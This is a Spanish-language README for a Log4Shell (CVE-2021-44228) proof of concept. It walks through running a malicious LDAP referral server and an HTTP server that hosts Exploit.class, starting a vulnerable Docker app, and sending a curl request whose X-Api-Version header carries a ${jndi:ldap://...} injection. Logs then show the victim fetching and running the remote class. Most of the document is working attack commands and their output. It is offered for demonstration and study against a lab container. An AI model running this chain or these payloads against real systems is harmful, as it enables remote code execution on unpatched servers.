
Prueba de concepto para CVE-2021-44228.
El alcance de este repositorio es proporcionar todos los componentes necesarios para explotar CVE-2021-44228, apodado Log4Shell,
y mostrar cómo explotarlo.
Los ingredientes necesarios para explotar esta vulnerabilidad son los siguientes:
Créditos:
Requisitos previos:
LDAP Server y del HTTP ServerHTTP Server1. Muévete a la carpeta exploit e inicia el servidor http mediante Python.
python3 -m http.server PORT
LDAP Server1. Muévete a la carpeta ldap_server y construye el pom.xml
mvn clean package -DskipTests
2. Muévete a la carpeta target e inicia el servidor especificando http_server_ip y http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Nota: este comando ejecuta el servidor ldap malicioso obligándolo a responder con la URI del Exploit.class a cada consulta ldap.
Vulnerable applicationEjecuta el contenedor docker de la aplicación vulnerable
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Nota: por defecto estamos ejecutando la aplicación vulnerable en el puerto 8080, siéntete libre de cambiarlo.
Una vez que vulnerable_application, ldap_server y http_server están en ejecución, envía una petición http maliciosa al servidor vulnerable.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
La vulnerable_application registrará el payload y realizará una consulta ldap
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
El ldap_server responderá con la URI del Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
El http_server recibirá una solicitud de Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Finalmente, podemos comprobar que el exploit creó un nuevo archivo en el sistema de archivos de la víctima. En este ejemplo necesitamos revisar el sistema de archivos del contenedor docker.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app